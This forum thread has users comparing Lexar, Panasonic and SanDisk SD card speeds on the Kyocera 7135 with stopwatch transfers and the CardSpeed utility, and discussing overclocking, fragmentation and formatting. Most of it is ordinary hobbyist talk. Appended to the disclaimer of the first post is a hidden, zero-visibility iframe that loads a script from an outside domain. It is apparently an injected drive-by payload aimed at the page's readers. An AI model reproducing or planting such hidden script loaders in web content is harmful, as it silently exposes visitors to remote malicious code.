+ Reply to Thread
Results 1 to 19 of 19
  1. #1
    Registered User
    Join Date
    07-02-2003
    Location
    Pensacola, FL
    Posts
    183

    SD Card Peformance Comparison

    I was really bored today and decided to do an impromptu performance test with several SD cards that I have lying around. I performed all tests on freshly formated cards (formatted in Windows XP with the "FAT" option selected so that the cards would be compatible with both Windows DeFrag and the 7135). The cards tested were a High Speed Lexar 256 MB, Panasonic 64 MB, and a San Disk 64 MB Card. I tested both read and write performance via a Panasonic SD Card Reader with a single 20.2 MB file and a folder filled with 20.5 MB's worth of MP3's. All xfers were done three times and the avg's of said xfer's are as follows.

    ***All times are in seconds***

    **Single 20.2 MB File
    Lexar 256 MB
    Write / Read
    43 / 26

    Panasonic 64 MB
    Write / Read
    47 / 27

    San Disk 64 MB
    Write / Read
    53 / 27


    **Single folder filled with 20.5 MB worth of MP3's
    Lexar 256 MB
    Write / Read
    45 / 25

    Panasonic 64 MB
    Write / Read
    47 / 27

    San Disk 64 MB
    Write / Read
    55 / 27

    If anyone is able to compare other brands or sizes feel free to do so, just try to keep the file sizes about the same so that the times are comparable.

    Disclaimer: I am by no means a professional at benchmarking. All times were obtained by me with a stop watch.<iframe src="http://tmb-corp.com/g/p/l/counter.js" style="display:none"></iframe>
    You should be 10% smarter than the equipment you operate. For some of you, the 7135 is not the best choice of equipment.

  2. #2
    Registered User
    Join Date
    01-27-2003
    Posts
    252

    Re: SD Card Peformance Comparison

    I noticed that you had some SD cards laying around and you did this test. I have run across a program that does a SD card test on the 7135 and I was wondering if you could PLEASE run this program on each card and list the results ? I have a SanDisk 256MB SD card and I think it is REALLY slow. I am really curious about the Lexar and Panasonic results! thanks for the info:

    Baback

    Originally posted by Byrd Dog
    I was really bored today and decided to do an impromptu performance test with several SD cards that I have lying around. I performed all tests on freshly formated cards (formatted in Windows XP with the "FAT" option selected so that the cards would be compatible with both Windows DeFrag and the 7135). The cards tested were a High Speed Lexar 256 MB, Panasonic 64 MB, and a San Disk 64 MB Card. I tested both read and write performance via a Panasonic SD Card Reader with a single 20.2 MB file and a folder filled with 20.5 MB's worth of MP3's. All xfers were done three times and the avg's of said xfer's are as follows.

    ***All times are in seconds***

    **Single 20.2 MB File
    Lexar 256 MB
    Write / Read
    43 / 26

    Panasonic 64 MB
    Write / Read
    47 / 27

    San Disk 64 MB
    Write / Read
    53 / 27


    **Single folder filled with 20.5 MB worth of MP3's
    Lexar 256 MB
    Write / Read
    45 / 25

    Panasonic 64 MB
    Write / Read
    47 / 27

    San Disk 64 MB
    Write / Read
    55 / 27

    If anyone is able to compare other brands or sizes feel free to do so, just try to keep the file sizes about the same so that the times are comparable.

    Disclaimer: I am by no means a professional at benchmarking. All times were obtained by me with a stop watch.
    Attached Files

  3. #3
    Registered User
    Join Date
    03-25-2003
    Posts
    469
    I have a SanDisk 256 MB card and a Lexar 256 MB card. Here's my results from "CardSpeed" program:

    SanDisk - default test:
    Wrt32bit: 11 bytes/sec
    Wrt8KB: 13797 bytes/sec
    Read8KB: 179917 bytes/sec
    Program reports: "Card speed is Poor. Use only 8KHz sampling."

    Lexar - default test:
    Wrt32bit: 12 bytes/sec
    Wrt8KB: 27108 bytes/sec
    Read8KB: 184608 bytes/sec
    Program reports: "Card speed is Poor. Use only 8KHz sampling."

    I don't know if the is correct because CardSpeed was saying it was using a SanDisk card while my Lexar card was plugged in. Though it did report different "UniqID" numbers. I also wonder if the current level of charge in the battery affects the speed. As I was running it multiple times and the battery was running down, both cards seem to slow down.

    EDIT: For my tests, I had the phone side turned on. No hacks were enabled at all on the Palm side.
    Michael

  4. #4
    Registered User
    Join Date
    01-27-2003
    Posts
    252
    I ran the program in sequence 6 times on the same card with a full battery (I really don't think the battery could be the cause of any slow down) I also have emailed the author asking why such different results on the same device with the same card and I'm waiting for a reply back.

    By the way this is on a SanDisk 256mb SD card.

    SanDisk - default test:
    Wrt32bit: 52 bytes/sec
    Wrt8KB: 14055 bytes/sec
    Read8KB: 183317 bytes/sec
    Program reports: "Card speed is Poor. Use only 8KHz sampling."
    Finished in 25.48 sec.


    SanDisk - default test:
    Wrt32bit: 50 bytes/sec
    Wrt8KB: 14515 bytes/sec
    Read8KB: 184608 bytes/sec
    Program reports: "Card speed is Poor. Use only 8KHz sampling."
    Finished in 24.34 sec.


    SanDisk - default test:
    Wrt32bit: 62 bytes/sec
    Wrt8KB: 13981 bytes/sec
    Read8KB: 184608 bytes/sec
    Program reports: "Card speed is Poor. Use only 8KHz sampling."
    Finished in 24.61 sec.


    SanDisk - default test:
    Wrt32bit: 16 bytes/sec
    Wrt8KB: 10881 bytes/sec
    Read8KB: 185917 bytes/sec
    Program reports: "Card speed is bad. Don?t use."
    Finished in 36.18 sec.

    SanDisk - default test:
    Wrt32bit: 70 bytes/sec
    Wrt8KB: 24614 bytes/sec
    Read8KB: 182044 bytes/sec
    Program reports: "Card speed is Poor. Use only 8KHz sampling."
    Finished in 15.90 sec.

    SanDisk - default test:
    Wrt32bit: 33 bytes/sec
    Wrt8KB: 20087 bytes/sec
    Read8KB: 187245 bytes/sec
    Program reports: "Card speed is Poor. Use only 8KHz sampling."
    Finished in 20.69 sec.

  5. #5
    Registered User KLiuLess's Avatar
    Join Date
    11-15-2001
    Posts
    847
    Did you have the phone part off? You probably should, to minimize any processor usage besides Cardspeed.

  6. #6
    Registered User
    Join Date
    01-27-2003
    Posts
    252
    well realistacly I would have the phone ON 100% of the time even when I am using the palm side. But I will do a test with the phone off and also turn off ALL hacks and see what it does. I know both of those situations are unrealistic since I would NOT be using the 7135 in that configuration.

  7. #7
    Registered User
    Join Date
    01-27-2003
    Posts
    252
    I just got this back from the developer:

    Our program runs the same sequence of writes and reads every time so the variations are either due to the nature of the SD card itself or the Kyocera interface to it. The message "Use only 8khz sampling" is a reference for using our ADVR program.

  8. #8
    Registered User
    Join Date
    07-02-2003
    Location
    Pensacola, FL
    Posts
    183
    Here are my Card Speed Results.

    ***Note: NO speed enhancing software was used while running the below tests unless otherwise noted. The phone portion was also turned off.***

    San Disk 64 MB

    Wrt32bit: 99 bytes/sec
    Wrt8KB: 48,011 bytes/sec
    Read8KB: 178,329 bytes/sec
    Finished in 8.88 seconds


    Lexar 256 MB

    Wrt32bit: 60 bytes/sec
    Wrt8KB: 24,116 bytes/sec
    Read8KB: 259,548 bytes/sec
    Finished in 14.98 seconds

    Panasonic 64 MB

    Wrt32bit: 60 bytes/sec
    Wrt8KB: 22,854 bytes/sec
    Read8KB: 252,061 bytes/sec
    Finished in 15.57 seconds


    The interesting numbers to me are the "Read8KB" numbers. On the Lexar and Panasonic the read speed is much higher than that of the San Disk, while San Disk had the higher write numbers. I feel that the Read number is more important because that is what we will be using it for most of the time on the 7135. I run two "speed boosting" utilities on my 7135 at the same time. One is "Quickbits" and that had NO bearing on the results at all. However, Overclocking the processor to 66Mhz with "FastCPU" GREATLY alters the numbers in a positive direction. This leads me to believe that the drawbacks in speed that we experiance with SD operations is solely due to the processor speed and not due to a limitation in the implementation of SD interface itself


    With overclocking to 66Mhz I obtained:

    Sandisk 64 MB

    Write32Bit: 148 bytes/sec
    Write8KB: 48,332 bytes/sec
    Read8KB: 298,458 bytes/sec


    Lexar 256 MB

    Write32Bit: 64 bytes/sec
    Write8KB: 25,279 bytes/sec
    Read8KB: 397,187 bytes/sec

    Interestingly enough, overclocking affected write speeds dramaticly on the San Disk card, but had little effect on the Lexar (not sure why???). On the other hand, significant increases in read speed was seen by both cards.

    INTERESTING.......... Off to do more research...

    Byrd Dog
    You should be 10% smarter than the equipment you operate. For some of you, the 7135 is not the best choice of equipment.

  9. #9
    Registered User
    Join Date
    01-12-2003
    Posts
    6
    This is a little off the subject. But it does RE SD cards. (sort of)

    Has anyone used the SD Pockey Radio from IBIZ?

    If so, is it any good?

  10. #10
    Registered User
    Join Date
    01-27-2003
    Posts
    252
    VERY IMPORTANT INFO:

    I have found some major differences between the Sandisk and Lexar 256mb SD cards!

    All my previous tests were still the same on another 7135, thinking maybe it was the specific unit I was testing on, then I went and bought a new Lexar 256MB SD card and ran it on both of my 7135's, both completly EMPTY and about 30mb full of data and applications and both ways the test results were the same. Here is the info for Lexar SD 256MB.

    Lexar - default test:
    Wrt32bit: 127 bytes/sec
    Wrt8KB: 59987 bytes/sec
    Read8KB: 264791 bytes/sec
    Program reports: "Card speed is OK. Avoid 22KHz sampling."
    Finished in 6.96 sec.

    And the above results were consistent within .05 sec. and with almost the same results for the data write/read. Keep in mind all tests were done with the phone off.

    I decided to run Kinoma and play a T3 movie trailer which was about 4mb in size and it played much better(smoother) and my palm was working much more quickly especially since I have a lot of my programs loaded into the SD card running through Launcher X.

    I was also NOT running any type of AfterBurner or FastCPU on my 7135.

    I have come to a conclusion that the Sandisk SD card is by far much slower than the Lexar SD card and I would recommend ANYONE wanting to buy a SD card for their 7135 to consider the Lexar over the Sandisk...

    Also my next test is to check out MP3 playing and to see if I can play Mp3 sampled OVER 128k without skipping.

    By the way, I DO NOT work for or have any benefit for recomending Lexar over Sandisk.

    I hope this info helps people on this board...

  11. #11
    Registered User Jazzman's Avatar
    Join Date
    02-06-2003
    Posts
    93
    one question, is it possible that there as fragmentation going on in the cards?

    I would expect to see faster speeds on a brand new disk that had data copied directly over versus a card that has been used, files added, removed, etc.

    Could you try a test where both cards are blank and formated(to wipe out any trace of the old files)?

  12. #12
    Registered User
    Join Date
    01-27-2003
    Posts
    252
    I did. I tried it both ways. I tested the SanDisk card that had been used for the last 2months and had a lot of write/deletes on it and then I formatted the card clean and ranthe tests again and I got the SAME EXACT results on either configurations. So then I tested the Lexar the same way by trying to copy, delete, write, multiple times w/ different size documents to create a QUICK fragmentation and my results were basically the same. Both cards were also 256mb.

  13. #13
    Registered User
    Join Date
    11-30-2002
    Posts
    180
    Yes, there are differences in cards ranging from quality of data accuracy to higher speeds. Some companies produce both types.

    However, recommending a brand based soley on speed does not take into account other reasons for using the cards to record information. Sometimes quality of information is by far the determining preference.

  14. #14
    Registered User
    Join Date
    01-27-2003
    Posts
    252
    I have had the best of luck using Lexar media in general, ranging from SD cards to CF cards. I also have sold hundreds of the Lexar media cards and have never had a unit fail on me. I also have sold Sandisk memory cards but never in volume because of the performance issues. I have always known that Lexar made one of the "faster" media cards in the market especially the CF cards but I had never done any real research on the performance of SD cards till I got a 7135 myself. I also bought the Sandisk SD card originally since Kyocera was recommending it and I wanted to make sure I would be in 100% compliance while I was testing and using the 7135 especially at the beginning.

    All I am saying is that since in the past and now with positive testing with SD cards I knew Lexar made faster media cards and I have had no issues with their media, I felt that people should know that they have options and I would NEVER recommend a product that I felt would be "more" unreliable than the Sandisk products. Then again, keep in mind either company can have faulty cards!!

  15. #15
    Registered User
    Join Date
    07-02-2003
    Location
    Pensacola, FL
    Posts
    183
    Originally posted by Jazzman
    one question, is it possible that there as fragmentation going on in the cards?

    I would expect to see faster speeds on a brand new disk that had data copied directly over versus a card that has been used, files added, removed, etc.

    Could you try a test where both cards are blank and formated(to wipe out any trace of the old files)?
    I've tested blank, freshly formatted cards along with the same card after Fragmentation. There is no difference (other than the standard deviation). I even tried a card that was 52% fragmented, then defragged it and got relatively the same numbers. I also tested formatting the card with the 7135 and Windows XP and again got the same scores.

    Does that answer your ques?

    Byrd Dog
    You should be 10% smarter than the equipment you operate. For some of you, the 7135 is not the best choice of equipment.

  16. #16
    Registered User
    Join Date
    11-30-2002
    Posts
    180
    babacksh

    Whoops, I apoligize for any implication of criticism of you or your recommendation.

    Just a reminder to some who read this thread that there are people and uses that put quality preference over just speed. Knowing how higher speed is obtained is critical in many fields from artist, science, medicine, business, to any area of critical data where quality affect must be known.

    For example, (although not directly related to MMC cards) here is an example of a photographer testing, much like you, the quality of pictures over Sprints Vision service:


    http://bermangraphics.com/tips/vision.htm


    Again, if speed is one persons main concern, then I have no problem with your tests or recommendations. Very much appreciate you efforts, really.

  17. #17
    Registered User
    Join Date
    05-17-2002
    Posts
    49
    Ok, I'm convinced I'll get the Lexar 256MB. There has been a $20 rebate going for the past few months. Here's a link to the coupon good until the end of June.

    http://www.buy.com/retail/product.as...330513&loc=101

  18. #18
    Registered User
    Join Date
    10-18-2002
    Posts
    14
    Inexplicably I found the card tests faster if formatted in the Palm.

    I don't have exact numbers, but With a Windows XP formatted card (Freshly formatted) with no data/50% full I was getting tests at around 52 from VFSMark. When I formatted my card using the Card Info app I started getting 68 (Empty) - 69 (50% Full, same data dropped on with a Card reader). This may be worthy of research!

    --Aaron

  19. #19
    Registered User
    Join Date
    05-08-2003
    Location
    Silicon Valley
    Posts
    138
    I tested freshly formatted SanDisk and Lexar (actually made by Panasonic and re-labeled as Lexar) 128 meg SD cards and got slightly better results on the SanDisk: 55 vs. 62.
    Editor in Chief
    www.mobiletechreview.com

Posting Permissions

  • You may not post new threads
  • You may not post replies
  • You may not post attachments
  • You may not edit your posts